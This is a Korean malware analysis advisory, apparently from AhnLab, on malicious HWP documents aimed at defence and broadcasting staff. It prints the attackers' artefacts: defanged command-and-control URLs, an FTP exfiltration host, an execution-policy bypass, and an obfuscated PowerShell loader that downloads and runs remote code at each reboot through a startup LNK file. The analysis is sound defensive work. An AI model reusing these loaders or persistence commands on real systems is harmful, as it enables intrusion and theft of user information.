국방, 방송 관계자 노린 악성 한글 문서 주의!
안랩이 악성 OLE 개체가 삽입된 한글 문서(.hwp)가 유포 중인 정황을 확인했다. 파일명에 국방, 통일, 교육 및 방송과 관련된 키워드가 포함돼 있는 것으로 보아, 공격자는 해당 분야 관계자를 주요 표적으로 삼은 것으로 추정된다. 해당 악성코드의 유포 과정을 살펴보자.
공격에 악용된 한글 문서는 외부 URL에 접속하는 유형과 추가 악성 스크립트 파일을 생성하는 유형이 확인됐다. 추가 스크립트 파일을 생성하는 한글 문서의 경우, 작년 11월 뉴스 설문지로 위장한 악성 워드 문서 사례와 동작 방식이 유사하고, 똑같은 FTP(File Transfer Protocol) 서버 패스워드를 사용하는 것으로 보아 제작자가 동일한 것으로 추정된다.
각 유형의 동작 과정을 도식으로 표현하면 [그림 1]과 같다.
[그림 1] 악성 OLE 개체가 포함된 악성코드 동작 과정
<유형 1>
이 유형은 한글 문서에 삽입된 OLE 개체를 통해 외부 URL에 접속하는 유형이다. 해당 유형으로 추정되는 한글 문서의 파일명은 다음과 같다.
[표 1] 확인된 한글 문서 파일명
[표 1]에서 확인된 한글 문서에는 OLE 개체가 실행될 수 있도록 문서 본문에 클릭을 유도하는 문구가 삽입돼 있다.
[그림 2] 문서 본문
공격자는 문서 내부에 [그림 3]과 같이 페이지 범위보다 큰 OLE 개체를 삽입했다. 따라서 사용자가 어느 곳을 선택해도 OLE 개체가 실행된다.
[그림 3] 문서 본문에 삽입된 OLE 개체
삽입된 OLE 개체 내부에는 5MB 이상의 더미 바이트와 함께 악성 URL이 존재한다. 이로 인해 사용자가 OLE 개체를 클릭하면 개체 내부에 존재하는 악성 URL 주소로 연결한다.
[그림 4] 한글 문서에 삽입된 OLE 개체
[그림 5] OLE 개체 클릭 시 생성되는 메시지 박스
분석 당시 URL에 접속되지 않아 이후 행위는 확인되지 않았다. 현재까지 확인된 악성 URL은 다음과 같으며 문서마다 서로 다른 매개변수 값을 사용하는 것으로 보아, 특정 사용자를 노린 것으로 보인다.
hxxp://host.sharingdocument[.]one/dashboard/explore/starred?hwpview=[특정 값]
hxxp://mail.smartprivacyc[.]com/get/account/view?myact=[특정 값]
<유형 2>
악성 스크립트 파일이 삽입된 유형인 이 문서는 최종적으로 깃허브(Github)에 업로드된 추가 스크립트 코드를 실행한다. 해당 유형으로 추정되는 한글 문서의 파일명은 다음과 같다.
[표 2] 확인된 한글 문서 파일명
[표 2]에서 확인된 ‘test1.hwp’ 문서에는 2개의 파일이 첨부돼 있으며, 해당 스크립트 파일(zz.bat)을 실행하는 하이퍼링크가 삽입돼 있다.
[그림 6] test1.hwp 문서 본문
한글 문서 실행 시 zz.bat과 oz.txt 파일이 %temp% 폴더에 생성되고, 사용자가 하이퍼링크가 삽입된 빈칸 또는 zz.bat 파일 아이콘 클릭 시 zz.bat 파일이 실행된다.
zz.bat은 oz.txt에 포함된 깃허브 주소에 접속해 추가 데이터를 다운로드 및 실행하는 파워셸(PowerShell) 명령어가 존재한다.
[그림 7] zz.bat 파일 내용
[그림 8] oz.txt 파일 내용
따라서 zz.bat을 실행하면, 공격자는hxxps://raw.githubusercontent[.]com/babaramam/repo/main/pq.txt 에 접속해 악성 스크립트를 실행한다.
[그림 9] hxxps://raw.githubusercontent.com/babaramam/repo/main/pq.txt의 코드
[그림 10] 깃허브에 업로드된 스크립트 코드
[그림 10]에서 확인된 down.txt, info.txt, upload.txt는 모두 난독화된 데이터가 업로드돼 있어 해당URL 접속 시 특정 키 값으로 복호화해 실행한다.
hxxps://raw.githubusercontent[.]com/babaramam/repo/main/pq.txt 에 업로드된 파워셸 스크립트에는 4개의 함수가 존재한다. 각 함수의 기능은 [표 3]과 같다.
[표 3] 함수별 기능
가장 먼저 실행되는 mainFunc 함수는 아래 명령어를 통해 현재 사용자의 파워셸 정책을 변경하고 추후 다운로드하는 파워셸 스크립트가 실행되도록 한다.
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass –Force
[그림 11] mainFunc 코드
getinfo 함수는 난독화된 스크립트를 실행한다. 이 스크립트는 hxxps://raw.githubusercontent[.]com/babaramam/repo/main/info.txt에 업로드돼 있다.
복호화된 info.txt 스크립트는 사용자 정보를 수집하는 기능을 수행한다. 수집된 정보는 %APPDATA%\Ahnlab\Ahnlab.hwp 파일에 저장된다.
[그림 12] getinfo 코드
수집 정보는 [표 4]와 같다.
[표 4] 수집 정보
[그림 13] 생성된 Ahnlab.hwp 파일
uploadResult 함수 역시 hxxps://raw.githubusercontent[.]com/babaramam/repo/main/upload.txt 에 업로드된 난독화된 스크립트를 실행한다.
함수 역시 upload.txt 스크립트는 정보를 수집한 파일(%APPDATA%\Ahnlab\Ahnlab.hwp)을 공격자에게 전송한 후 삭제한다. 공격자는 탈취한 정보를 수집하기 위해 FTP를 사용했다.
[그림 14] 복호화된 upload.txt 코드
주소: plm.myartsonline[.]com
사용자명: 4154836
이후 지속적으로 실행되는 downCommand 함수는 hxxps://raw.githubusercontent[.]com/babaramam/repo/main/down.txt 에 업로드된 난독화된 스크립트를 실행한다.
down.txt는 악성코드의 지속성 유지를 위한 추가 악성 파일을 생성한다. 공격자는 악성 스크립트가 지속적으로 실행되도록 시작 프로그램 폴더에 링크 파일(LNK)을 생성한다.
[그림 15] 생성된 링크 파일
생성된 링크 파일에는 thumbs.log 파일을 실행하는 커맨드가 포함돼 있다. thumbs.log에는 hxxps://raw.githubusercontent[.]com/babaramam/repo/main/pq.txt에 업로드된 스크립트를 실행하는 파워셸 명령어가 존재한다.
이로 인해 사용자가 PC를 재부팅할 때마다 hxxps://raw.githubusercontent[.]com/babaramam/repo/main/pq.txt에 업로드 된 스크립트가 실행된다.
LNK 파일 command
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -command &{[string]$x= [IO. File]::ReadAllText(‘C:\Users\[user]\AppData\Roaming\Microsoft\Windows\thumbs.log‘);invoke-expression $x}
thumbs.log 데이터
[string]$a = {(New-Object Net.WebClient).Doqwertyutring(‘hxxps://raw.githubusercontent[.]com/babaramam/repo/main/pq.txt‘)};$b=$a.replace(‘qwertyu’,’wnloadS’);$c=iex $b;invoke-expression $c
현재까지 사용자 정보 수집 외에 추가적인 악성 행위는 확인되지 않았지만, hxxps://raw.githubusercontent[.]com/babaramam/repo/main/pq.txt 에 어떤 명령어가 업로드되는지에 따라 다양한 악성 행위가 수행될 수 있어 주의가 필요하다.
출처 : AhnLab